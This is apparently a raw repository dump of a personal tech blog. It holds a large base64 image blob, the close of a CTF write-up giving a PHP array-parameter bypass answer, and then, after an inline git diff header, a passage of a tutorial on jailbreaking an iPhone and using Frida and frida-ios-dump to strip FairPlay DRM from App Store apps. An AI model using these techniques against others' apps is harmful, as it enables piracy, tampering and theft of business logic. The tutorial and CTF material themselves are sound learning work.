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
+

From the beginning, we can tell that this is a base64 compressed image. By pasting the above code directly into the browser’s address bar, we can get the URL where the answer is located. Enter the URL to pass the level!

4. Break through the blockade

Question Explanation: This question shows the PHP code of the question. You need to find a way to use GET parameters to bypass the judgment and execute the setPassedCookie( ); method in the else block.

Solution: This question involves a commonly used but lesser-known PHP vulnerability, detailed as follows:

[Summary of Common PHP Vulnerabilities in CTF](https://xz.aliyun.com/t/3085){:target="_blank"}

Summary of Common PHP Vulnerabilities in CTF

The question has been slightly modified. The answer to this question is: ?m.id[]=admin

5. Penetration Test, 6. Penetration Test 2

These two questions are basic introductory XSS questions, so they won’t be elaborated here.

For this question, since the answer is placed on the front end, a website providing irreversible encryption in JS was used: https://www.sojson.com/jsobfuscator.html

(Although I’m not sure if it’s true? Anyway, if it can be cracked, just consider it passed!)

7. Moonlight Treasure Box

This question is taken from a puzzle app, so it won’t be displayed here.

Summary

The competition system took about a week to set up, and the questions took about three months to slowly gather (inspiration needed); the competition has successfully concluded, and the feedback received was quite good—”interesting and fun”; this was my original intention, hoping everyone would explore and brainstorm from an interesting starting point; therefore, whether it’s the question names (all very movie-like) or the question directions, there won’t be too deep engineering or calculation stuff, as that would be too rigid and uninteresting!

Additionally, here is the question response rate as a reference for difficulty:

When creating the questions, the biggest fear was that the questions would be too easy and everyone would solve them quickly, or too difficult and everyone would get stuck. Both situations are awkward.

The actual competition results (competition time: 90 minutes) met our expectations, just right! Not too hard or too easy, the first-place team solved 9 questions, and even the last-place team solved 7 questions; very close, but due to time scores and hint purchases, there was still a clear winner!

Surprisingly, no one solved the entrance to the magic academy… QQ

This concludes the summary of the engineering CTF competition.

Addcn 2019 CTF

Addcn 2019 CTF

Further Reading

For any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Apple Watch Case Unboxing Experience (Catalyst & Muvit)

The APP uses HTTPS for transmission, but the data was still stolen.

diff --git a/posts/7498e1ff93ce/index.html b/posts/7498e1ff93ce/index.html new file mode 100644 index 0000000000..760df684e4 --- /dev/null +++ b/posts/7498e1ff93ce/index.html @@ -0,0 +1,7 @@ + First Experience with iOS Reverse Engineering | ZhgChgLi
Home First Experience with iOS Reverse Engineering
Post
Cancel

First Experience with iOS Reverse Engineering

First Experience with iOS Reverse Engineering

Exploring the process from jailbreaking, extracting iPA files, shelling, to UI analysis, injection, and decompilation

About Security

The only thing I did related to security before was « Using Man-in-the-Middle Attack to Sniff Transmission Data »; additionally, following this, suppose we encode and encrypt data before transmission and decrypt it within the APP upon receipt to prevent man-in-the-middle sniffing; is it still possible for the data to be stolen?

The answer is yes! Even if you haven’t actually tested it; there is no unbreakable system in the world, only the issue of time and cost. When the time and effort required to crack it exceed the benefits, it can be considered secure!

How?

Having done all this, how can it still be broken? This is the topic I want to document in this article — “Reverse Engineering”, cracking open your APP to study how you do encryption and decryption. I’ve always been somewhat clueless about this field, only hearing two major talks at iPlayground 2019, where I roughly understood the principles and implementation. Recently, I had the chance to play around with it and share it with everyone!

What can you do with reverse engineering?

  • View APP UI layout and structure
  • Obtain APP resource directories .assets/.plist/icon…
  • Modify APP functions and repackage (EX: remove ads)
  • Decompile to infer original source code and obtain business logic information
  • Dump .h header files / keychain contents

Implementation Environment

macOS Version: 10.15.3 Catalina iOS Version: iPhone 6 (iOS 12.4.4 / Jailbroken) *Required Cydia: Open SSH

Jailbreaking

Any version of iOS, iPhone can be used, as long as it is a jailbreakable device. It is recommended to use an old phone or a development device to avoid unnecessary risks. You can refer to Mr. Crazy’s Jailbreak Tutorial based on your phone and iOS version. If necessary, you may need to downgrade iOS (Certification Status Check) before jailbreaking.

I used an old iPhone 6 for testing. It was originally upgraded to iOS 12.4.5, but I found that 12.4.5 couldn’t be jailbroken successfully. So, I downgraded to 12.4.4 and used checkra1n to jailbreak successfully!

The steps are not many and not difficult; it just requires some waiting time!

A silly experience of mine: After downloading the old IPSW file, connect the phone to the Mac, use Finder (macOS 10.5 and later no longer have iTunes), select the phone under Locations on the left, and in the phone information screen, hold “Option” and then click “Restore iPhone” to bring up the IPSW file selection window. Choose the old IPSW file you just downloaded to complete the downgrade.

I foolishly clicked Restore iPhone directly… it only wasted time reinstalling the latest version…

Using lookin tool to view other people’s APP UI layout

Let’s start with something interesting, using tools and a jailbroken phone to see how others layout their APP.

Viewing tools: One is the veteran Reveal (more complete features, costs about $60 USD/can be tried), and the other is the free open-source tool lookin made by Tencent QMUI Team. Here, we use lookin as a demonstration; Reveal is similar.

If you don’t have a jailbroken phone, it’s okay. This tool is mainly for use in development projects to view Debug layouts (replacing Xcode’s basic inspector). It can also be used in regular development!

Only when you want to view someone else’s APP do you need a jailbroken phone.

If you want to view your own project…

You can choose to install using CocoaPods, Breakpoint Injection (only supports simulators), manually import the Framework into the project, or manual setup.

After building and running the project, you can select the APP screen in the Lookin tool -> view the layout structure.

If you want to view someone else’s APP…

Step 1. Open “ Cydia “ on the jailbroken phone -> search for “ LookinLoader “ -> “ Install “ -> go back to the phone “ Settings “ -> “ Lookin “ -> “ Enabled Applications “ -> enable the APP you want to view.

Step 2. Use a cable to connect the phone to the Mac computer -> open the APP you want to view -> go back to the computer, select the APP screen in the Lookin tool -> you can view the layout structure.

Lookin View Layout Structure

Facebook login screen layout structure

Facebook login screen layout structure

You can view the View Hierarchy in the left sidebar and dynamically modify the selected object in the right sidebar.

The original "Create New Account" was changed to "Hahaha" by me

The original “Create New Account” was changed to “Hahaha” by me

Modifications to the object will also be displayed in real-time on the mobile APP, as shown above.

Just like the “F12” developer tools for web pages, all modifications are only effective for the View and will not affect the actual data; mainly used for Debugging, but you can also use it to change values, take screenshots, and then trick your friends XD.

Using the Reveal tool to view APP UI layout structure

Although Reveal requires a paid subscription, I personally prefer Reveal; it provides more detailed information on the structure, and the right information panel is almost equivalent to the XCode development environment, allowing for real-time adjustments. Additionally, it will prompt Constraint Errors, which is very helpful for UI layout corrections!

Both of these tools are very helpful in the daily development of your own APP!

After understanding the process environment and the interesting parts, let’s get to the main topic!

*The following requires a jailbroken phone

Extracting APP .ipa files & Cracking

All APPs installed from the App Store have FairPlay DRM protection, commonly known as shell protection. Removing this protection is called “cracking,” so simply extracting the .ipa from the App Store is meaningless and unusable.

*Another tool, APP Configurator 2, can only extract protected files, which is meaningless, so it won’t be elaborated here. Those interested in using this tool can click here for a tutorial.

Using tools + jailbroken phone to extract the original cracked .ipa file:

Regarding the tools, initially, I used Clutch, but no matter how I tried, it always showed FAILED. After checking the project’s issues, I found that many people had the same problem. It seems that this tool can no longer be used on iOS ≥ 12. There is also an old tool called dumpdecrypted, but I haven’t looked into it.

Here, I use frida-ios-dump, a Python tool for dynamic binary dumping, which is very convenient to use!

First, let’s prepare the environment on the Mac:

  1. The Mac comes with Python 2.7 by default. This tool supports Python 2.X/3.X, so there’s no need to install Python separately. However, I used Python 3.X for the operation. If you encounter issues with Python 2.X, you might want to install and use Python 3!
  2. Install pip (Python’s package manager).
  3. Use pip to install frida: sudo pip install frida --upgrade --ignore-installed six (Python 2.X) sudo pip3 install frida --upgrade --ignore-installed six (Python 3.X)
  4. Enter frida-ps in Terminal. If there are no error messages, the installation was successful!
  5. Clone the AloneMonkey/frida-ios-dump project.
  6. Enter the project and open the dump.py file with a text editor.
  7. Ensure the SSH connection settings are correct (no need to change the default settings): User = ‘root’ Password = ‘alpine’ Host = ‘localhost’ Port = 2222

Environment on the jailbroken phone:

  1. Install Open SSH: Cydia → Search → Open SSH → Install
  2. Install the Frida source: Cydia → Sources → Top right “Edit” → Top left “Add” → https://build.frida.re
  3. Install Frida: Cydia → Search → Frida → Install the corresponding tool according to the phone’s processor version (e.g., I have an iPhone 6 A11, so I installed Frida for pre-A12 devices).

Once the environment is set up, let’s get started:

  1. Connect the phone to the computer using a USB cable.

  2. Open a Terminal on the Mac and enter iproxy 2222 22 to start the server.

  3. Ensure the phone/computer are on the same network (e.g., connected to the same WiFi).

  4. Open another Terminal and enter ssh root@127.0.0.1, then enter the SSH password (default is alpine).

  1. Open another Terminal to execute the dumping command. Navigate to the cloned /frida-ios-dump directory.

Enter dump.py -l to list the installed/running apps on the phone.

  1. Find the name/Bundle ID of the app you want to dump and enter:

dump.py APP_NAME_OR_BUNDLE_ID -o OUTPUT_PATH/OUTPUT_FILENAME.ipa

Be sure to specify the output path/filename because the default output path is /opt/dump/frida-ios-dump/. To avoid moving it to /opt/dump, specify the output path to avoid permission errors.

  1. After a successful output, you can obtain the cracked .ipa file!

  • The phone must be unlocked to use the tool.
  • If connection errors occur, such as reset by peer, try unplugging and replugging the USB connection or restarting iproxy.
  1. Rename the .ipa file directly to a .zip file, then right-click to extract the file.

